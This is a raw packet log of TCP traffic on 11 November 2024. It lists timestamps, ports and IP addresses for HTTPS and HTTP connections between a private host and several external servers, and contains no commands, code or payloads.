Nov 11, 2024 21:59:28.124838114 CET	58838	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.126132965 CET	443	58840	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.126184940 CET	443	58840	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.126239061 CET	443	58836	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.126247883 CET	58840	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.126262903 CET	443	58837	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.126282930 CET	58836	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.126323938 CET	443	58837	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.126367092 CET	58837	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.126760006 CET	58841	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.126799107 CET	443	58841	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.126938105 CET	58841	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.127005100 CET	58838	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.127023935 CET	443	58838	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.127034903 CET	58838	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.127039909 CET	443	58838	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.127212048 CET	58841	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.127227068 CET	443	58841	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.127372980 CET	58836	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.127377987 CET	443	58836	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.127410889 CET	58836	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.127413988 CET	443	58836	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.128160954 CET	58840	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.128180027 CET	443	58840	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.128916025 CET	58837	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.128922939 CET	443	58837	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.128988981 CET	58837	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.128993988 CET	443	58837	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.131500959 CET	58842	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.131524086 CET	443	58842	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.131661892 CET	58842	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.133162975 CET	58843	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.133172035 CET	443	58843	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.133333921 CET	58843	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.133550882 CET	58844	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.133582115 CET	443	58844	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.133641958 CET	58844	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.134478092 CET	58845	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.134510040 CET	443	58845	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.134617090 CET	58842	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.134632111 CET	443	58842	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.134643078 CET	58845	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.134818077 CET	58845	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.134838104 CET	443	58845	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.134931087 CET	58843	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.134943008 CET	443	58843	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.135013103 CET	58844	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.135025024 CET	443	58844	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.189230919 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:28.189289093 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:28.218766928 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:28.223623037 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:28.423573971 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:28.423624039 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:28.433464050 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:28.438554049 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:28.438668966 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:28.438849926 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:28.443846941 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:28.641640902 CET	443	58841	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.643728971 CET	58841	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.643752098 CET	443	58841	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.644589901 CET	58841	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.644596100 CET	443	58841	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.648601055 CET	443	58843	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.648808956 CET	443	58844	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.648835897 CET	443	58842	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.649019003 CET	58843	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.649025917 CET	443	58843	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.649410963 CET	58843	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.649415016 CET	443	58843	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.649878025 CET	58844	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.649909973 CET	443	58844	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.650321007 CET	58844	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.650326014 CET	443	58844	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.650434971 CET	58842	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.650460005 CET	443	58842	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.650549889 CET	443	58845	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.650774956 CET	58842	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.650782108 CET	443	58842	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.650839090 CET	58845	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.650861979 CET	443	58845	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.651391029 CET	58845	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.651396990 CET	443	58845	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.737548113 CET	443	58841	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.737608910 CET	443	58841	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.737775087 CET	58841	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.741406918 CET	443	58843	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.741470098 CET	443	58843	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.741635084 CET	58843	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.741967916 CET	443	58844	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.742356062 CET	443	58844	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.742548943 CET	58844	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.744131088 CET	443	58845	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.744131088 CET	443	58842	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.744194031 CET	443	58845	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.744215965 CET	443	58842	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.744385958 CET	58842	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.744385958 CET	58845	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.770112038 CET	58841	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.770147085 CET	443	58841	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.770159006 CET	58841	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.770167112 CET	443	58841	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.770237923 CET	58842	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.770237923 CET	58842	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.770291090 CET	443	58842	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.770307064 CET	443	58842	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.770992041 CET	58843	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.771003008 CET	443	58843	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.771034956 CET	58843	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.771039963 CET	443	58843	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.771838903 CET	58844	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.771893024 CET	443	58844	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.771919012 CET	58844	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.771927118 CET	443	58844	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.772377014 CET	58845	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.772398949 CET	443	58845	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.776645899 CET	58847	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.776675940 CET	443	58847	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.776875019 CET	58847	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.778386116 CET	58847	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.778395891 CET	443	58847	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.779508114 CET	58848	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.779544115 CET	443	58848	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.779769897 CET	58848	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.779886961 CET	58848	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.779901028 CET	443	58848	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.780622959 CET	58849	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.780669928 CET	443	58849	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.780735970 CET	58849	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.781862974 CET	58850	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.781872988 CET	443	58850	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.781933069 CET	58850	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.782778978 CET	58851	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.782808065 CET	443	58851	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.783024073 CET	58851	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.784616947 CET	58849	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.784635067 CET	443	58849	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.784837008 CET	58850	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.784846067 CET	443	58850	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.784948111 CET	58851	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.784960032 CET	443	58851	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.872098923 CET	443	58835	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:28.872128963 CET	443	58835	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:28.872173071 CET	443	58835	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:28.872214079 CET	58835	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:28.872239113 CET	443	58835	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:28.872255087 CET	58835	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:28.872781992 CET	58835	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:28.872781992 CET	58835	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:28.872796059 CET	443	58835	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:28.872952938 CET	443	58835	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:28.872992039 CET	443	58835	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:28.873220921 CET	58835	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:29.076658010 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.076718092 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.076731920 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.076750040 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.076761007 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.076788902 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.076792002 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.076807976 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.076814890 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.076821089 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.076833010 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.076836109 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.076844931 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.076858997 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.076884031 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.081692934 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.081705093 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.081722975 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.081732988 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.081762075 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.081798077 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.082252979 CET	58852	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:29.082287073 CET	443	58852	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:29.082348108 CET	58852	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:29.083760023 CET	58852	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:29.083770037 CET	443	58852	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:29.189694881 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.189708948 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.189795017 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.190052032 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.190064907 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.190076113 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.190116882 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.190125942 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.190129042 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.190395117 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.190412045 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.190423965 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.190442085 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.190453053 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.190480947 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.190499067 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.190510035 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.190551996 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.191118956 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.191129923 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.191144943 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.191189051 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.191194057 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.191206932 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.191782951 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.191792965 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.191802979 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.191833973 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.191838026 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.191844940 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.191847086 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.191864967 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.191906929 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.199228048 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.199281931 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.201843023 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.299729109 CET	443	58848	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.303210974 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.303245068 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.303253889 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.303318024 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.303359985 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.303400993 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.303412914 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.303427935 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.303441048 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.303455114 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.303461075 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.303489923 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.303601027 CET	443	58847	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.303898096 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.303944111 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.303945065 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.304003954 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.304038048 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.304044962 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.304049969 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.304078102 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.304115057 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.304531097 CET	443	58849	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.304541111 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.304544926 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.304546118 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.304588079 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.304697037 CET	443	58851	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.304738998 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.304755926 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.304766893 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.304780960 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.304806948 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.305414915 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.305428028 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.305438995 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.305449009 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.305480003 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.305540085 CET	443	58850	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.305701017 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.305710077 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.305751085 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.306098938 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.306180954 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.306191921 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.306226969 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.306230068 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.306241035 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.306252003 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.306277990 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.306288004 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.306736946 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.306803942 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.306816101 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.306838036 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.306842089 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.306847095 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.306854010 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.306881905 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.307126045 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.307135105 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.307492018 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.307502985 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.307513952 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.307526112 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.307534933 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.307535887 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.307558060 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.307565928 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.308780909 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.308806896 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.308818102 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.308820963 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.308851004 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.308860064 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.308875084 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.309834957 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.309935093 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.309968948 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.309981108 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.310004950 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.310024023 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.310028076 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.313839912 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.371432066 CET	58849	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.371840000 CET	58851	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.397017002 CET	58848	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.397030115 CET	58847	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.397042990 CET	58850	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.416553974 CET	58850	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.416564941 CET	443	58850	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.416788101 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.416815996 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.416827917 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.416917086 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.416924000 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.416928053 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.416950941 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.416968107 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.416973114 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.417005062 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417016983 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417052984 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417067051 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417077065 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417191982 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417212009 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417217970 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.417263985 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417264938 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.417299986 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417311907 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417323112 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417335033 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417355061 CET	58850	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:29.417361021 CET	443	58850	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:29.417414904 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417426109 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417437077 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417471886 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.417475939 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.417490005 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.417520046 CET	58846	80	192.168.2.5	185.215.113.16
